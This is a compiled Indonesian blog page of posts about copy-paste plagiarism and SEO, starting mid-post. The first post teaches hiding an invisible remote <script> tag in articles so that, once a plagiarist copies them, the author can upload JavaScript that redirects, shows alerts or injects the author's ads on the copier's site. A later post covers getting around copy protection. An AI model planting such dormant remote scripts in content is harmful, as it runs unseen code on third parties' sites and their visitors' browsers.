tapi jangan di upload dulu….

2. Langkah berikutnya adalah menyisipkan kode pemanggil remote pada artikel kita:

<script src="http://urltempatscriptjs/script.js" type="text/javascript"></script>

Nah, perhatikanlah url http://urltempatscriptjs adalah tempat kita tadi merencanakan untuk melakukan upload remote script di langkah sebelumnya. Dimana bagusnya menyisipkan kode ini? Letakan dimana saja yang penting didalam artikel kita. Kode ini tidak akan terlihat. Nah kode remote ini belum aktif jika kita belum meng-upload file script.js tadi.

Berdasarkan pengamatan, para tukang copas ini cenderung pemalas, jadi bisa disimpulkan mereka biasanya langsung saja melakukan seleksi pada artikel kita lalu ctrl+c dan kemudian ctrl+v pada blog mereka. Ketika mereka melakukan proses copas tadi, maka kode ini akan ikut ter-copas, ini berarti kita telah meletakan remote pada artikel blog mereka yang sewaktu - waktu bisa kita aktifkan dengan efek yang bervariasi.

3. Saat tepat mengaktifkannya

Adalah jika sudah ada yang mulai copy paste namun membandel, itulah saatnya kita mengaktifkannya, caranya adalah dengan melakukan upload file remote kita tadi script.js ke tempat yang telah kita rencanakan sebelumnya http://urltempatscriptjs/script.js segera setelah kita mengaktifkannya maka halaman blog target akan menjalankan perintah dari remote file tadi, dalam hal ini fungsi redirect.

Beberapa fungsi javascript lainnya selain redirect:

- Javascript alert (isi dri file .js):

alert ("Artikel ini copas dari blog saya ya..")

- Javascript Google adsense / lainnya:

Yang disisipkan pada artikel:

<script src="http://urltempatscriptjs/adsense.js" type="text/javascript"></script>

<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>

Isi dari file adsense.js (contoh saja, sesuaikan dengan kode adsense anda):

google_ad_client = "pub-9270884769152389";

/* 160×600, created 6/25/08 - mp3 */

google_ad_slot = "1311703903";

google_ad_width = 160;

google_ad_height = 600;


dan lainnya, pokoknya gunakan code javascript pasti berfungsi, kreatif aja deh :D

Gambar Segede Gaban

Hehehe.. prinsipnya sama, yaitu dengan menyisipkan kode pada artikel kita, namun kode yang dimasukan adalah kode html untuk gambar:

<img src="http://urltempatgambar/gambargaban.jpg" />

metodenya sama dengan yang Javascript tadi, cuma yang ditunda uploadnya kali ini adalah file gambar: gambargaban.jpg. Selama gambar tersebut belum kita upload, maka tidak akan terlihat di artikel kita. Nantinya kalau sudah mau dieksekusi kita bisa set ukuran dan isi gambarnya. Misal kita set 10000X10000 px ukuran gambarnya :D , atau kita bikin standar saja misal 468X60px namun kita sisipkan pesan moral untuk tidak copy paste sembarangan.

Softly But Sure

Ini adalah cara paling halus, yaitu meletakan url yang tidak terlihat pada artikel kita agar ketika di copas ikut terbawa.

<a href="http://blogkita/judulartikel/trackback/">.</a>

Perhatikan tanda titik (.) ditengah itu akan menjadi anchor dari url kita

Atau bisa juga url disisipkan pada sembarang kata ditengah artikel, namanya juga tukang copas pemalas, pastinya tidak akan begitu memperhatikan :D .


Jika kita malas meletakan satu persatu kode pemanggilnya pada artikel kita, maka kita bisa meletakannya pada template kita sehingga akan berdampak pada seluruh artikel kita.

Jika kita sudah ingin mengaktifkannya, jangan lupa menghapus / ganti kode yang ada di blog kita atau blog kita akan juga terkena imbasnya, beritahukan juga kepada pihak yang telah copy paste secara jujur dan mencantumkan url kita.

Sekali lagi sebelum kita mengeksekusi remote ini hendaknya perlu dilakukan pendekatan persuasif dulu, karena bisa saja yang bersangkutan khilaf mencantumkan url kita sebagai referensi. Berdasar pengalaman saya dari 12 blog maka 10 diantaranya ternyata khilaf, ini berarti hanya ada 2 yang memang tidak berniat mencantumkan referensi, yang 1 sudah saya tindak :D yang satu lagi masih menunggu niat baiknya, karena memang baru saja 10 hari saya mengirim email, bisa saja ybs belum online lagi.

Jangankan mereka, mungkin saja saya juga pernah khilaf dalam hal copy paste, oleh karena itu, bagi yang memiliki niat baik dalam nge-blog wajib mencantumkan halaman disclaimer / report abuse dsb guna menampung keluhan seputar copy paste.

Kedepannya saya sedang berpikir apakah ini bisa dijadikan plugins untuk Wordpress, sedangkan yang sudah pasti bisa adalah diterapkan sebagai mambot pada Joomla (sedang saya kerjakan untuk Joomla 1.0.1x).

copy paste dari :

Read More......

Copy Paste SEO pada WEB

Dimana mana Orang ramai membicarakan SEO (Search Engine Optimization), selain untuk berbagi ilmu ada juga yang memanfaatkan SEO sebagai Keyword yang efektif untuk meningkatkan Traffic sehingga dalam artikel-artikelnya pun selalu menggunakan keyword yang berulang meskipun dalam artikel-artikelnya sama sekali hanya Copy Paste dari artikel-artikel yang ada pada Blog Community For Web Optimization tanpa memperhatikan benar atau tidak artikelnya karena itu tadi hanya mau memanfaatkan SEO sebagai keyword meskipun tidak mengerti apa-apa tentang optimisasi WEB.

Dari pengamatan saya terhadap kata kunci SEO yang banyak digunakan di blog-blog khususnya para pemula malah menjadikan blog mereka tidak bermutu dengan mengangkat tema SEO sebagai bahan artikel, mereka lupa jika para pencari info melalui keyword diatas dapat membedakan mana info yang original dan Copy Paste dan tentunya efek itu sangat buruk bagi blog/Web bersangkutan karena pengunjung akan malas untuk kembali lagi untuk mengais info disana. Nah kalo sudah begitu boro-boro dapat page ranking.

Untuk alasan belajar sih ga masalah biar blog kelihatan ramai dengan artikel yang bayak, tapi jangan lupa sambil belajar artikelnya di update sesuai pengalaman sehingga artikel anda betul-betul qulified dalam urusan SEO atau paling tidak kalo mau Copy Paste silahkan dicantumkan nama penulisnya, dengan menuliskan nama penulisnya atau bahkan mencantumkan url postingan artikelnya justru akan membentuk jaringan tersendiri yang akan dikenal oleh Search Engine sesuai keyword karena search engine lebih menghargai link-link dari website yang topiknya relevan dengan artikel yang ditulis. Ingat Search Engine sekarang tuh semakin pintar, semua Search engine menggunakan formula matematik yang sering disebut ranking algorithms. Dimana search engine dalam meranking akan memfilter dengan menelusuri semua struktur link-link pada web dan menentukan halaman-halaman mana yang paling relevan dengan keyword agar info yang diberikan pada pengguna search engine tidak nyasar.

Korban SEO yang Copy Paste

Ada beberapa blogger yang sudah jadi korban, ini saya dapatkan dari pertanyaan-pertanyaan di Forum-SEO, ataupun pesan yang masuk melaui email saya. setelah memperhatikan dari pernyataan mereka dan mengunjungi beberapa blog si penanya ternyataa rata-rata kesalahan mereka memang dari Copy Paste yang parah. Kenapa? Kalo artikel yang di copy paste ga terlalu masalah dengan search engine yang paling parahnya mereka mengcopy paste script Title tag, meta tag (keyword, content dan description ) dari blog tertentu yang PR nya tinggi kemudian menyisipkan begitu saja dalam script HTML nya padahal ada beberapa dalam script <meta name=”keywords” content=”keyword1,keyword2…. Dst “/> sama sekali tidak relevan dengan postingan Content Artikelnya. Wajar aja yang semula sudah terindeks di Google jadi ga terindeks lagi alias Black List.

Seharusnya sesuaikan dulu <meta name=”keywords” content=”keyword1,keyword2…. Dst “/> apakah benar ada dalam artikel-artikel kita. Jangan asal menempatkan keyword. Kemudian kesalahan yang kedua terlalu banyak mengulang ulang keyword dengan memberikan efek Bold, Italic, Fill & Font Color yang justru akan menjadikan bencana bagi blog.. Pengulangan keyword & memberikan efek tulisan dalam Content sih memang dapat berpengaruh tapi jangan belebihan sampai puluhan kali, kalo seperti itu yah bisa-bisa dianggap SPAM. Cape Deh.

Nah untuk itu sebelum melakukan optimisasi pada blog maupun Web pahami dulu apa definisi SEO , bagaimana caranya dalam menerapakan internal & eksternal SEO pada WEB kalo perlu aktif mengikuti Forum yang mengupas tentang SEO dan turut memberikan Komentar yang Relevan. Maaf yah bukan menggurui, saya juga masih belajar kok. Jangan salah komentar-komentar anda adalah masukan dan menjadi bahan belajar bagi kita.

copy paste dari :

Read More......

Copy-paste situs web atau blog yang artikelnya diproteksi

Berkali-kali saya ditanya oleh teman, bagaimana caranya menyalin tempel (copy-paste) artikel di detik.com?

Kesulitan ini terjadi terutama bagi anda pengguna Internet Explorer dan Mozilla Firefox.

Ada beberapa cara untuk mengatasinya :

  • Download & install program perambah Opera atau Flock.
  • Download & install plugin no script untuk Firefox di sini. Restart Firefox kemudian masuk lagi ke program Firefox.

Sekarang coba masuk ke situs detik.com, sorot artikelnya dan voila....razz bisa disalin & ditempel ke software lain. Mudah bukan?

Disclaimer :
Postingan ini tidak bermaksud mengajarkan sembarang main comot (baca : copy-paste) artikel di dunia internet. Tetap sebutkan url sumber penulisan & pengarangnya. Hargailah karya cipta.

copy paste dari :

Read More......

Hati-Hati Copy Paste Artikel Kemudian Diterjemahkan Ke Inggris

Judulnya memang agak ribet, tapi saya harap walaupun judulnya susah untuk dicerna anda tetap bisa mengikutinya. Baru-baru ini Google Translate sudah menambahkan fasilitas penerjemah dari bahasa Inggeris ke Indonesia atau dari Inggeris ke sebaliknya. Dengan begitu, sudah terdapat 34 jenis bahasa di dunia yang telah disupport google.

Intermezzo: Inilah tandanya Menara Babel dibangun kembali

Dengan adanya penambahan fitur baru dari Google Translate ini, anda yang biasanya copy paste terhadap artikel orang lain kemudian anda berpikir bisa langsung diterjemahkan dan langsung bisa menghasilkan “Fresh Content” buah segar, anda salah besar ! Menurut hasil eksperimen saya, artikel hasil copas walaupun diterjemahkan ke bahasa lain, as long as bahasa itu terdeteksi oleh mesin penerjemah google, maka artikel tersebut dinyatakan haram.

Beberapa waktu lalu saya mencoba melakukan copas terhadap beberapa web berita, dan kemudian saya tambahkan ke blog baru saya, akhirnya artikel tersebut modarrrr alias dihilangkan dari peredaran SERP. Contoh paling nyata jika anda simak gambar ini:

terjemahkan situs ini

click disini untuk hasil nyata

Tampak disamping hasil pencarian, terdapat sebuah link yang memungkinkan sebuah website yang menggunakan bahasa Inggris diterjemahkan ke dalam bahasa Indonesia. Dengan adanya pengalaman website saya yang dibanned oleh Google dan adanya “link misterius” ini, maka tidaklah berlebihan jika saya ingatkan kepada para copycat dan plagitor yang melakukan tindakan copas dan plagiat.

Baca juga artikel disini:

Google Translate Speaks Indonesian

Copy dan paste tampaknya pelajaran SEO yang pantas dapatin rapor merah.

copy paste dari :

Read More......

Kampanye anti copy paste

Belakangan marak sekali larangan copy paste article dari blog ke blog. Bahkan ada suatu kampanye untuk mencegah hal ini.

Sebenarnya saya pribadi sih kalau memang artikel kita itu dirasa perlu dan bermanfaat ya biarin aja di tampilkan diblog lain, tapi memang kita sudah saatnya menghargai karya penulis blog tersebut tanpa menghiraukan apakah artikel tersebut penting ataupun tidak.

Memang seh belum ada suatu aturan keran dan legitimit yang mengatur bahwa copy paste tersebut haram, tapi hargailah, kira-kira itu yang ingin disampaikan oleh para pengkampanye anti copy paste tersebut.

Kalau dirasa perlu dicopy, kan blog sudah menyediakan layanan link, mbok ya itu saja yang dimanfaatkan, setidaknya sipenulis akan mendapatkan point, terkenal dan PR nya sedikit terangkat.

Gimana, apakah teman-teman pada setuju dengan anti copy paste?
mulai dari diri sendiri saja kalau menurut saya, yakinkan diri kita agar tidak kopi paste..

cara lain adalah dengan memasang simbol-simbol anti copy paste berikut ini:
1. http://anotherfool.wordpress.com
2. http://copyscape.com

respect yourself respect other ....

copy paste dari :

Read More......